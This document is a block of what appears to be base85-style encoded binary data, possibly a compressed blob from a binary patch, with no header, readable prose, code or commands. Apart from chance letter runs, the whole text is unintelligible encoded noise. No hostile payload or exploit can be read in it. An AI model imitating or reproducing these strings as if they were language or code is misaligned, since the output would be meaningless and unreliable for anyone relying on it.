z(*nbXYG`Xob}C5EPPNXB)on;q!4|J~!LJ@xjtxKX^L^&%_{`Gs$@cAte&1S&Uy+$X z@GFoakR{Nnn3#Ei;C*)XN2JWm4>(3jOM8#woScujxgYcLKH)nni~1`u@hz^8ikgdv zn8P=Y!^7V=J0p0GfcXVI-I2+IJ-^>d_;|_^mhkQ2briq4oA&B{UwBv$bOT)yto3{P zBh7h&`SEoJYcYq;58sj%s?flf@GHDe0c-QV=mz3fs$^ltZ%-RXhnt{;gy+-q)GM_h zL74EXU_P(9qok<7N0epSQ)O{sGIH+8ej}qDFnt*2;In#Tp*InxjQ}RB8JZYDDhw*2 z4|p6Hk2Ip`VE~~O1qB7ArKLnMnwy(jTU)UpqpGS3#t>sqm=WmGKcyR(ckG-QDy&N8 z^UPC%HH#vdz1bAMy4A^o)mq$x);#`?KmgWhVSX^0k>o|~-~QWqS1O%z{N?n%k4JaB zolu{HgjR=y+1bAp75y#}{k^K{AGNjr(bPn7s{Q-_Z*TAaGcfS~j*b2I zp+o;YIr-l>#$TD4zxw&T+q37TzWx*Bwo+M=*~9a)vJ}5!vw7<_#UXwLew7?!lo_Vl zkg7V{vg_gT&|jaoV>@m>KLJB3OuoQe5c4AO$t!-r(ZIHV7+~<8k&yud($dn>)z#JB z-rm^QSW{C|QBi@D@HL&CoxPF|42w`G#JCfjaApyip$NYY%f9l>I=WhW1g** z#IInfhN%8BKPvZbO8?Ut8~6^4&AU3qV4(=ap*Rw^S*a|Xhx{ZWgyP^kDmu&IJ2DbX zDzi-{yZs+tuP+m2+t^rR5&;33ZvsN2K^%l%Y(zzKZfSvgxnNUArs7Pc{EcqS=Tj#0 z7ee0Lt?fQg1L%mOSw%wf7rBf;?H?67KHEIp89LQybhcUjP8S!iCIQu?pcq&AaLn+x zt0DjOx;0mrifK(mJJFOFxsw6-N(D(vjx9z-?G<^2A?b0uuoS8}g@tYB!LRUY5Adr+ z21)|H?x)lH{&pwj_QmG#aDTXLv@&8xgrBceBF;+}3W`l)1F)eb#m;&Azfr!-=64}D5qG-f;QE~WF#H`>(39}-q-rwIpGBPqeJPehu zt*u4i0-+3ujSvUA%qscQ0)vQRrvhPZX-Q3T2H!F#N~iYr;$N7tI*G#-e%5F-jP2=4Cg-3{H)&`3A# z?(Xg(2@!}8qC_Ar5G)}wb7s!@e(U}f_t{itPoDstoSDq|-F3h0wO6y*y}PRRTUGD- z)N6$k7dbi9w~2}GVq@nPKo@Y=EPn3cF=1fv6h=m^eOLNwa^GFEn?AGeP3M|7UF$JN zKHlRzya9t9rMg>u6iXRg6d}PK&r544;^39UN57uU#ynZ_9;q8heM-Bq*;K0-d z<`GjAUJAX5k${JR`C~P zO+YNbZ>$%{*bq}485?AU0(@22SreNa#PmG^-%Ftfm7#YaUGh$eB!W=Bm_a}O{Vo&$ zcM`={c0cgdcfwK2_0B{yW2$HK+ac4R9|_BgADWoF)YW~ZqXV~zwjx(o zCusFalsXo1U*(E~8yH$y#1-b`)RdLfR8-eg*DoB9EXBpeKvPA91%16OcWw>5e0Fv6 z<+bzYI@8ipVM77?g;4vJT8PkJyKzH!nlL_-!wx#Zc3va&VpPSh9jeuRF&uWGKi}4d zivPkI_N({`Z6*Z*qEPXJ5uqu?@l2M9kHe;58@VJeiMmLM3mH_dOK>V0Urlzbo*mHn za5s43VP#={BBUx57XU^75kL2h3QsOh2n)01`fH^{9_+4h9=}r%80ZP<0E`NoDZnZ? zwiq6ZufS$$0b%Roo>mkcA8nG%-crU>>`zy@Tes!qS>u^Ik!O1|wT~Vo_)2_%Yfvwc-nRS5|Rcm`kt_zkusG1E%4!LXvHRpnCggT4o$ zYEBPU>dM|e+G8^}o|&5RXkmYxC)(Oy#aF|ymIFe6)BTAS1u&Mkmw~V1ON$>_TfH_k#OBT~;ez!we1(+D zIPa^fKHRkFvA)p@ZtRPa_NU#$L+5X_4v$nmxS9LnPU_6PxcB#?KHiUjWcm1j_w%>_ zN`wEIKmGIj@vE1ogu)Nr-ZT38ub>1&Ib!u!qWH?aq^k=0tHt=Lyfnqq(i~bKzy@#( z2pSmgz(AHfXby&1Z|>?;cX{B<<6FHq`_JEOzk0L%*6r@m+g)RK+b15i{Q9Qxw>LHa zoNoM|4+HO(jjt+KMKcewuz5Fd@f>R-^(KC#lQj)-8oBB9x!Jg5HUMsK?JV))-LV1cp z+=HvXY=DVs_4GNN`8z=`@0BOSg+X?}>joMLf{2zR5xFVK71_zcrVqtnqYdUAa$7)}gamt44}siCXCoe06#^(O)GeMp{`} zg6ss46XdX5U8sV zX)I=-FCYC&^j8?7P%nt-X!2e({b6p)Z_G z(i!*)Zy~-+np~TrXwH%ghCbK+YBn9!2~}eQ$b;S886xu`LEax%4va0NZ56^$8L5kOAz}6mOcZ6 zXF58M7xY(m6%=41TztYE>x#VmS$X+BdHH^0hwD{?_f9_s;I2hrO?# zx6MAQ{O~jn!M2~q<6!3a^dJ(8@dY;CH$OXaw!fLr=fg1-gd)BHq|7BhMaKsGuTrZE zkY#doB@4}A3iQ=o;sz=z_*}`H{U;p*Kea}~| zdZeiMP(fkI^B$Zf7>uh7#t?%s=p1~jXMD8rYJYJ{eqI^Bv^cP($`d&g?sQo_?Khbm zFqlQ=rHeREy}fMy{bi zqykp0^DJzq{I4i{1^Xadxi4=Qu@A;XvrnDUC7#2?Q1vaG3e3vV-MQ-0>B`=Uk{Us6 zb;y}E*6s7$=fhz$x5Kb!-}~DE?{E2jychb*v-E$x>%B76nV1+4{S{O|;Jw7evm`&k zO`0Eq_d@BB(~uv+b8>gs?P{XLww2B1u036Pa{O}mncf0u-mrcI>;b368dglpQ7kQU z5r%`DR7u4N>`)7DhpmA&4D5}LNSxk8$|QjhLd+?gC}q0zc=Z#;26Tg@>ENhbT{Y^jw?&qx&_crj#BG>t9lu_?FWJLIlgn z%dr#qY5C#NT-^lb#xlOfK+(>zJ`2F|w&ql2Whz?&2#7;W^T=0thR{S!ePuvoXj4a8 zU4eCb#*T}*%6CeoY2zR!1!W&32}xcSq^Cv!U(xz2@%W0Ak7g^Ys)VH{e9npCNae%; zzG{h;pklLX-j04R)NAZun_Zn2 z6Kx$8xFeghwkv1%z0*!_pA`n)I_$HyHHO7Vl6sh9K0ki-z6tk zBPUmCVAEB2`c~agPicEmd1F#bTl~ed3HPohzPu%z8;yQ{KN5>L0DwemA}3&`N#8Y-2eC>;=`T5`RmSahfHS99hvIg4$I&~s}h*uXMFX5 zH*~Jh+1UZ_3;%ZX)K}*td252N%v>E)N|Rwj4|eP0iv&3^JdN82aQpBZIx;H=8cCHuU7RcP5FeR}8HL4%K@?Aa%s-CeJPgWtky3;1f+u5ZLw$x>3mtJcB)io#b+ zue}^+l`NLZ>B4sFVb| zyae5roMV@3Pd@C@eSKCJ{;snFM{vF!GX8MK|JPSVSBBbRV)*b$RY`sPyU#YzO0LwcXKx5nw5u#$MfBbmGBK*x>mRZ*LFyfPtmM%M>~#sBV@k6ZdI; z4rT?PsKla#P_DJN<96)w#&?m(V@e>UA%dMR=TJ$RkT+nYQ1*7!I=s>IYn)rxDv(qY z?&zopF4kDOeoI}b2>2>AIWDDGh9vG~cljT>_7a_efj4LQ0! znH#R=Gf2))3Rx|%j>$IVnSM%t_3JC7HQ*!G9GI5GZ4rehU8d-T=xEuveJge@j$g=` zzmU^a=5vf#jwB*?Ktvdqi5D5l6yKrbT~Ms5nrduT{F&kA>e`5c zbnAk+Bh^W}Pv`9zuH5#hZSR{4Mj!67pt-$tp*bol0`aq`1!heWMYy=BtMvJ1d z5|Dppbw&us%GY@t%T6IJP_Z*>$7nB=5H%(FnTzvFE322MPCeVbdrVz@R8bKwSc^}r z<1Wg}H_OWAA)nbX*n`~j= zUwr%N0q@HBVmCKutam_Fz#bS<#gmjq4wxh6Zcfl&al@?xT(*VSGoVj~=QhGik;46Y z0Tmy2yIAs0ne6?#^-uavP27w)+m{b3Bpd_4xG*0HA`(MhGWS8@b(=S3H5Ln!eIwXM zQ^K`?uSSPrYpT=j>}<@C{0Yu$w)wfI1q;1e)md2OJQ;jCn>=(C&{EPTkl+% z_N@l3$8EbNy0^oVWU6PwRL@2XW>EO!ea`ELwRJW50N(J2M|E(P5I>$tbp#xOA0}7k z3Q~fYen&!_)Z@J*kedZw4OCW{x*sC`Z=nD-&W2qBqcOpAMUce`yAwbCz*pZ3N-bH= zWQ#oJ3nt6Y5j4okrbtUO*KG7(Fgmydd+q_g$_`n1y6C{zd7rVH zMRp4*q@bCB{pDNm6_H$6bt23;tuiw{#W#j?G&N*Xtzh-}{Iz#$)?tk~39r`EvLI zj)G(NFNWM1t_%q9ML-{Hj*yaQycn(s-iu-hG6X-j_4SM|NC*wH^K#tjWv0NkkpN3C zVoTKVCEA3No$-D;SQP@AQNL&t}OFV&lkU5P2o=i@PQ zEGKA0@8d~AX9Y#YL&tR*`ig5xJ)1K2_h+gDSc0pFVxGx1m6+@s-Hh6ZlGX!K2>! z_1%p0)JR}CREHr7{goI*hpOrKB7I%f-z-RDGXsvnc`qq&Wozc%JAH1WSF>5nK!6{F zbpR-$L&f7C6iaA@GGR*j#YN9NJzv?` zy)rU-zHi_7s#W)tlHuvXl zzFD>DNy|oTQUHKNojn_;d$&xV-hqw=!B5a50b+0O|0JZU|4)XzcrYNjkkMdWm*UayDo0^w_-#( zt-zL5RpC?=A+*ZFP{Jc>CW^RH)-*m2;JqOP*uNQX;%1Y8m${Mf~;45M~rd#{P1>Ja1 z2~#z*p(Hvf0QidSxDxikANXoX8T}n^{=iq?k(l37)B;OcPc7LVM&7=9oynYXcAmDh ze50-Xa>Irv%i*g9Pl+>fa%D0yv72{Bgk?5n)@Cy~_RcoD91N8K8xU-Z%{swJsAMKJ zRIu$rW9Wsv{q+5kmZs+}E;CS<0blLiOPM2=sSXee_zLPWg0EPb2g34Oio&C?soAbj zN9Be542Q-p`j1@7b$4@yvo1IlttU898$bjeyV%@+d+L0>dv)lHaiGh1xyST0Sm!_VaZxh1y~BfSDSWh z8P)R}RZMoW`=YwC2)ddAn%RrP#V)~$bTe3`YlP(sV%F@Gy z+Ql#2!QEcd$w<-5M1o_t0#?E_KMBZv=(6%z5=9)jD#3=fLW4715!LlMpc1itK+2P- zpXKTjeFfBoefQE34<2Kk%s*b2Z$5H?-_@0GXh>Zh zcg;wj4W;o~gKchSy9Ab2hU8%sCB8JeOv1XARFr+V%-Yt}${fq4)a~aom2MVM78!!C z2qeL3mE60(6{ARr*zv#o{=Eg@pKG@&+m5Iso{rexSUM(J9)yT@mNlW`~-y0NyTyGiN z-~hbo^Jqv?@?qsW#;|?W%xM3usD(0#vyFJD~c4 zLsHC;3PaHSbU$qLdZn+AC&J>0K3U8hCv+xnO_+%@(?6{ug%x7qX0yfBNDhJUeCHJ@ zJ`!-mDh{O>BN9DTN6I!OZRji0AL@^6XemHNSge6@5nY)W@`_HM6K2Ngm6;JyP9eVg zg{)n5xrR3`Ms;=;dU<&OY@_ASt^*k^R~nhxga@u(zfM@1pI(*D|HFf8ZOs0})g8m972?$?E-fzcOrY;V`f<(A=x!CQt)>E=OvBKTpCx5dQEbA2jT4DAp z!W~vby2!=_uFp%EpDeU}+Fmqf} z#-I}E`!(uMx(-ea`#c!V0ir{75Ju37eB%;;j2~zzvm5e5Bb>aPcKKK-#ds>zCT<&U zwU``DYHcowi=%cffO9emhZ~HTkuTbzP<{%8?D6Z^eb4qv#g4%|rOP=|H;WcfV!h&I z&yKk()}Nk2*OUacD)b>3nO~KmG`@m@0vq^dFJyv3lx2jg0h*#TkV*~d^@fEfAcWF{!u&JZPX6uu(j=Dej zn5D_NfG#V_WkrnZ3ZbWTDr;>?ie7t5L}OP4vLcZAh;c~bO_r+*-A51+Ad0n@ zdumxKmuDB~u?H@Bl^Lh5o#UN7Q%=|*ILWuK{$Og1F3d_UP4o{$v$r_t%LQ6WBzaRh za4Hg6gcCy7N8zh8``+JheSJ5lyey62E7%7K_Fk^#xG&mxn2)i|S#*MLkk=b zAD<3kLw`l^)$7fhpQ@-V23NQPd<8cN=&uT3t&^5EvGRx%6y(4@=;e0A#Y{cGQYPM0 zqM9c$kVYjlL0tSqBk3~fH?4{@ecR`+TFgJp=EIDC|ByxGlDrlAhW{AVe z!&Oj_OcN^5QZ_YMtuyz)y>mYAUezJdo{fzS1R2UCkvL11Np8}d3gX__!6pv)D#FFd zW{>G{CDS7kmO4Knw~3SPPtJNjxt#jRRsSb^6dR3-JiQSD8i*8B~R-zF>F-JRf51ZQBPzk=FlNg|M1P(Fb= zaLo-C@>7Zh*jE=@(?+<+Wd%qyL`j@Zmb{cnW$MN!2LD-N2}+Y0%2&VBbolv@->soM z4kwUk%%JYW+YunNT&1L!Nu|t$*v#rIHrLj}eus|*Bic=_TCo0V{i#2bi( z8mSjeN)tUhXD-{$KhDa^6cGO|8ec8fVBDuiCI-B|wMAZIZUo`WeZhLvXvbLt|g9i?X!B?;tUS=?w+9!ZH-V906Z~shak``f%A8Cxx#r9G&aeoa#`UY?k_Q zem@FGPjza{oj>yNZor3EZEO~WudJ-5PMnz7y7if=D$;%~J^``dj0&ey*ataMQf695 z-I>BP2+F_!eQ&!BEIUS$54G^YWEm}!M9N~oa?;>8Z3;7eTjsBrei%zU-#^A?&w6;w z+1N}UJ^Fgnre|tuP+={u4tMS=DqdnRs<4KYX9PL~WD%oMpzC&yqe2#oiXR+1>pcIo zFgGWe&8BuP23Lfp9b!d{Xa=XECp!Y2vZ_)AF*ebGJ2HY48=@&)1QiSRN8?2aRmWlm z5Z()10p2S{E)#wTSp!{x)=_PyFhZ1287#H#{QVCGyysulFqwX6Hjp87V&cmLr=q18 z_&N5I6&56g^4%P4_8J{k*4r$y`Uu!B`{EM+c6<6fQb>GLsI=-xS_nUXB>#kWF|tFC*Q>qm+yC~4*KcpCJlvg4OiZAeLF2{XWV#k2 zjL?-HTvl?ikjpg-cH6>rl27tp0n-lz1fmFWLMl~9P-dVqu0&OYbaSHm+0sLI&-!0J z4}28_wI|>TY7~!bzv$)A)cB05Og7iX!)`n9Rg|lARkZq0_2CyoJ|AAy*4Gus#|xpt zf?$Pm41J0r1nR*Z3wlM!S*RDFsl$P5U@cJWGi(cTesn!;?z%fHn6P6$tCzu;$N8d3 z`9+uJtBZD1W7&yGd<;wc_CLZ`7@3FlPGr?)#|WIl{rANADwp%*&lhZb)MqsRAolj~ zO;?wfW@az-^`C2L0bgOa_fci##V0gcR}~am<>ZiQHjts{;2)KP-8R`Qqd?~kJZD)d zyVSzY+K?SEVErY=*djC4wQBBy&Zp7f*AFT~LxNphU4R^DW%zQ;M0Ae8ZJU)Cn^Yw9 z^*6FG+^By@_LSD=$%ttPtYx81oz}-BUCcCC{zubtSk--X-hRH{vR)G%5}1r(8A*u+ z!XT!pr`=Yz>xNvR_CQDQ%^NkLp-fC|v>YP=!vKgHKU{o}X46C3g%yxclE#g4_i)y7 zH&+d@lTIf)#b;BT5Q^X5*|_wZc9q#PyWfvEPL5_Y)aAlc0xLDF8W2?^ezuC@D8|DrJ%hcqV1~f16PPuFzt{Db`tb)sScU==zDk#@;z=ZUtq8KD{M&!vtG{`q0XC@5 z4IKJ-$M;{;^=$SV2M0=j1$?z_+p_p-0q|f^38j6El$5QCnt_9VY-E}Mjx+(TJ2+0t zX?{}JVwg-85r`u7rj;?>yYbzS!Ka5&m(PzzN6q^BzIAk*(bc7@Te(sUzPi9*RG>PB zf{#N$2JjWabAlGapR?HteYx8n^jW_fPw(lh2oL8%IRixyG!j^?FUJzWZD^qkPURfz zpHrO@!?)o3Z%q$mV5TpHul^tulSyTXhoA($B7V_}*%!G(SPI|-gfjMGcJTL(OpBli z1?T*}!u?|xeBQsV^Y(UwtcMgs%OUHF$@& z)sn_}a-Wp07Io?!kTE&2(#`209C-4ZiUsK@pb{7(1U*)rP;rQ9KaJ%;C}B}%YCccE zH(kJ2P7iNpM?|vC&8ZaV5Zol+j+mBL zo-RrQ#6p4MIX0S2$^=y2uysp(ab_Y^n<08!kM+^+a@bn8ltaOuRsj{jh1|tRp>VfS z^?CP!xe?&28tgF#g&`VG@Rj(M({uoGu=DeZ%ZufPS^B$d3$jt*IZ-StBR~S1q2Ln> z|2PlI3>59MLf|0<6LwA7p@DY)GyVAyk)aql0Md|sz&~P;?H9f56&{*VlNEv}2B)3A zl>SPpDoS~4t01N!pa6`o5yv^51V&BJmc`>Zcc1`1k7X*py(7pX!tNM zH(I`E^WGzel8RG=32ywLeN@a#r2JsI{fjD-_%$+l;J); z-dILqco56ia>D~7kc_GMC?0wQB=B?jly6%l1J;z{H4VgdqAepk1G}a+$50tg;K7Iy z_%}F~-25}XT3(^_P)X^Af&!A#q`@gd zQd0k@kv~fiN9CmQ(F%7{%M6ks6O&Aq-xof>SMt+6>)u{E`RP9A=FqkDw3)!bcdo9p zMn;pGns9N4iEy$0YJ36Cork(iRyInW;brBSlwF$@9xrKX=oEZsWK21$VAD z@xnRKUjbhc&nRe?FyEIv=*bRd6&TCQC>2J88AbSPN(+?#tQ9X4)n7@85{k_ZfaHQL z2Kb6-A(pHHH))9j-b*ntBYl>DLkPulUzs1a>P*SOM;HA*Of(?Mo>-26De6K zjfbqqp3y1Q`2Z@u0VZ}-(H1wiCzvC!GgoN4$ZrygXgeawun@nISlNNg|MbBs9lpL04iQ z$=K}Z&@gLHhwW}A3?Ea8V9OPuw$ur?H>?f)%qTMuj6uF;QlTztsSyVnE4@2=^5T+W z;Uxu=3i_H*Ud-FkHKLc1o(TR|T)vC1>z)8xfsU%-Q8l11FCYEbbWUMct+S68rVkWl zuo`3TL*uk0g+(jEkVvX37Uo3z2N*e7ZuGNTg%k}v^Xo0hZ=bkm_54O+ zS7%vpa1dd+m_%qiOw!9$hxXGZgUvg(mvmP}$9aVK?&G;CBg7KH&d9M{rBbI z|ArbDW0?f-bo>tAoGIHAaY1&63<=&!bK zf4*|%6BQNgT(kHD=7HXRfWat{mE~elxl_x-FCtNx62J{Q66vXt9W2u(kicYtF9($N zbZe(t<)*vf?xp?dZotFgbLC}IEY`fY_gmDcr3DxFr>d%p>%yG}N=g?QjB;67zC6S8 zlvPw-LvBQ*9ousU-%X(~MCMG+`iEV5b9W;qpSFikT76d_2jD9)D1~q;GTEUa=Vc_M zZrTWX#o&eB_!xMnCUzAWG>;T{s;44U+ui`6FDY;W?uU`a<5Q^`;x+r4p zK-rNeLqR`Jwc6TRg2w`|VHt>crRA78;a#*81Dic&Vwm66l+&2cPhtjz+WPnzdHWiA z`51V4>w9?WA+xf(`w3UqW4LB=9pZBM#Xa?@wdJ4>R4Dkw+MKxSEXfr?C`e&KC>dFq z+~zVgp3l)si_&SYa9G%UkdJsJc;^D8>|4mhD5mA4G)N){U&@jaADvVbhn2pg&0aUh z1L1tf;^y2C0pHM+N&*J^AZUxWeYHR|Ph-t$Hf5JdV1`;d+w8E_Q*_XkAb$RAYs#+} zCcL5$WLcLO%2$2VzJG23UwL~`G5ApR5PY?qT>FCNXuP$Tn;<8K6>8;dz0F3KftUg~ z*udKjCoZ6Pw?6vW5@d5s(#=eTFX>`GO$+FnI8SaNrm7cA_H(_LRKV zGJc#l{DGMcYH=QtHIXtyg=-#n>Abz^Kl`Y%wWYDSxfz=VVqYih&Wvs2u*C^9TG)g) zD=Q1QtGv7%y9#3Kr?Rp#d)xk(PGy=H;f9CU7~X!LFP5u5yJe ziJk;WL@^*r6t0pqtNC*mQ|&5qXLfzK?(o~o+_I8P9xn`Lbc}7NH{o`^-0&dGgp6wB z{Dh}m<+;}Qyl6zSczT_3bvf$dqz$a)>dnYG_V7wfUta~10YW